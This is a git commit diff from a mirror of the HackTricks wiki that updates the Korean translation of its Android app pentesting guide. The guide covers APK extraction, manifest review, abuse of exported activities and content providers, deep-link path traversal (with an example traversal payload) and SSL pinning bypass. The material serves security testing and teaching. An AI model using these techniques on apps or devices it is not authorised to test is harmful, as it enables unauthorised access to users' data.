mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
46533cd838
commit
8db9db6a04
@ -322,6 +322,7 @@
|
||||
|
||||
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
|
||||
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
|
||||
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
|
||||
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
|
||||
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
|
||||
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
|
||||
@ -15,20 +15,21 @@ android-applications-basics.md
|
||||
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
|
||||
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 가능하게 합니다.
|
||||
|
||||
ADB 사용 방법을 배우려면 다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하세요.
|
||||
ADB 사용 방법을 배우기 위해 다음 [**ADB Commands**](adb-commands.md) 목록을 확인하세요.
|
||||
|
||||
## Smali
|
||||
|
||||
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**.
|
||||
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법**](smali-changes.md)을 **배울 수 있습니다**. 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
- [Play Store에서 위치 스푸핑하기](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB 기반 비루트 권한 접근)](shizuku-privileged-api.md)
|
||||
- [Shizuku Privileged API (ADB 기반 비루트 특권 접근)](shizuku-privileged-api.md)
|
||||
- [불안전한 인앱 업데이트 메커니즘 악용하기](insecure-in-app-update-rce.md)
|
||||
- [접근성 서비스 악용하기 (Android RAT)](accessibility-services-abuse.md)
|
||||
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
- 장치에서 APK 추출:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -38,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- 모든 분할 및 기본 APK를 [APKEditor](https://github.com/REAndroid/APKEditor)로 병합합니다:
|
||||
- [APKEditor](https://github.com/REAndroid/APKEditor)를 사용하여 모든 분할 및 기본 APK를 병합합니다:
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -55,7 +56,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## 정적 분석
|
||||
|
||||
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
|
||||
우선, APK를 분석하기 위해 **자바 코드**를 디컴파일러를 사용하여 **확인해야 합니다**.\
|
||||
자세한 내용은 [**다양한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
|
||||
|
||||
### 흥미로운 정보 찾기
|
||||
@ -64,18 +65,18 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
|
||||
|
||||
**Firebase**
|
||||
|
||||
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase에 대한 정보와 이를 악용하는 방법에 대한 자세한 내용은 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase에 대한 정보와 이를 악용하는 방법은 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### 애플리케이션의 기본 이해 - Manifest.xml, strings.xml
|
||||
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
|
||||
|
||||
**애플리케이션의 _Manifest.xml_ 및 **_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다**. 이 파일들은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
|
||||
애플리케이션의 _Manifest.xml_ 및 **_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
|
||||
|
||||
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
|
||||
|
||||
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
|
||||
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
|
||||
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
|
||||
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다.
|
||||
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
|
||||
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
|
||||
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
|
||||
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
|
||||
@ -107,12 +108,12 @@ android-task-hijacking.md
|
||||
|
||||
**내부 저장소**
|
||||
|
||||
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)에서 이러한 파일에 대한 접근을 **제한하지 않습니다**.
|
||||
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)에서 이러한 파일에 대한 접근을 **제한하지 않습니다**.
|
||||
|
||||
1. **정적 분석:**
|
||||
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
|
||||
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
|
||||
2. **동적 분석:**
|
||||
- 앱에서 생성된 파일의 **권한**을 **확인**하세요. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
- 앱에서 생성된 파일에 설정된 **권한**을 **확인해야 합니다**. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인하세요**. 이는 **장치에 설치된 모든 애플리케이션**이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
**외부 저장소**
|
||||
|
||||
@ -124,14 +125,14 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
|
||||
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
|
||||
3. **외부 저장소에서 데이터 처리**:
|
||||
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
|
||||
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행해야 합니다**. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
|
||||
- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
|
||||
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
|
||||
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증되었는지 확인해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
|
||||
|
||||
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**.
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4(**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
|
||||
> Android 4.4(**API 17**)부터 SD 카드에는 **앱에 특정한 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
|
||||
|
||||
**명확한 텍스트로 저장된 민감한 데이터**
|
||||
|
||||
@ -142,7 +143,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
|
||||
**모든 인증서 수락**
|
||||
|
||||
어떤 이유로 개발자들이 호스트 이름이 코드의 다음 줄과 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다:
|
||||
어떤 이유로 개발자는 때때로 호스트 이름이 다음과 같은 코드 줄과 일치하지 않더라도 모든 인증서를 수락합니다:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -157,14 +158,14 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다.
|
||||
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 **브루트 포스 공격에 저항**할 수 있는 해시를 사용해야 합니다.
|
||||
|
||||
### Other checks
|
||||
|
||||
- **APK를 난독화**하여 공격자가 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다.
|
||||
- 공격자가 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 난독화**하는 것이 좋습니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 검사**하여 수정되었는지 확인해야 합니다.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/패커/난독화 도구를 확인하세요.
|
||||
|
||||
### React Native Application
|
||||
@ -277,8 +278,8 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
|
||||
> 어쨌든, **민감한 정보를 로그에 기록하지 않는 것이 여전히 권장됩니다**.
|
||||
> **Android 4.0 이후 버전**에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
|
||||
> 어쨌든, **민감한 정보를 로그에 남기지 않는 것이 여전히 권장됩니다**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
@ -286,7 +287,7 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
|
||||
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
|
||||
|
||||
@ -299,14 +300,14 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
|
||||
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
|
||||
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
|
||||
|
||||
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열하세요.
|
||||
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자**를 **악용**하는 데 유용한 도구입니다.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는** 유용한 도구입니다.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
@ -315,7 +316,7 @@ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자**를 *
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
|
||||
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 있는 활동이 **내보내진 경우**, **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -329,11 +330,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
|
||||
|
||||
> [!TIP]
|
||||
> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
|
||||
> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회 방식과 노출되는 정보에 따라 다릅니다.
|
||||
|
||||
**민감한 정보 유출**
|
||||
|
||||
**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다.
|
||||
**활동은 결과를 반환할 수도 있습니다**. 만약 보호되지 않은 내보내기된 활동을 찾아 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**한다면, 이는 민감한 정보 유출입니다.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -342,7 +343,7 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
|
||||
|
||||
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이걸 읽어보세요.**](android-applications-basics.md#content-provider)\
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
|
||||
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -351,7 +352,7 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
[**서비스가 무엇인지 새롭게 알고 싶다면 이걸 읽어보세요.**](android-applications-basics.md#services)\
|
||||
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요.
|
||||
|
||||
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
|
||||
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
|
||||
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **브로드캐스트 수신기 악용**
|
||||
@ -376,7 +377,7 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**실행된 코드**
|
||||
**코드 실행됨**
|
||||
|
||||
**앱에서 실행될 코드**를 찾으려면, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
|
||||
|
||||
@ -384,11 +385,11 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
|
||||
**민감한 정보**
|
||||
|
||||
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
|
||||
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인해야 합니다.** 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있기 때문입니다!**
|
||||
|
||||
**경로의 매개변수**
|
||||
|
||||
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같이 경로 탐색을 강제할 수 있습니다.\
|
||||
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같은 경로 탐색을 강제할 수 있습니다.\
|
||||
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요.
|
||||
|
||||
**더 많은 예시**
|
||||
@ -397,9 +398,9 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
|
||||
### 전송 계층 검사 및 검증 실패
|
||||
|
||||
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
|
||||
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 간과하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
|
||||
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
|
||||
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티로부터 차단하지 못합니다.
|
||||
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래를 위해 비안전한 채널로 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
|
||||
|
||||
#### 인증서 검증
|
||||
|
||||
@ -415,7 +416,7 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해
|
||||
|
||||
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
|
||||
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. Flutter는 자체 유효한 CA 목록을 가지고 있기 때문에 인증서를 저장소에 추가하는 것만으로는 작동하지 않습니다.
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. 이는 인증서를 저장소에 추가하는 것만으로는 작동하지 않기 때문입니다. Flutter는 자체 유효한 CA 목록을 가지고 있습니다.
|
||||
|
||||
#### SSL 핀닝 우회
|
||||
|
||||
@ -424,7 +425,7 @@ SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우
|
||||
- **apk**를 자동으로 **수정**하여 SSL 핀닝을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
|
||||
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요.
|
||||
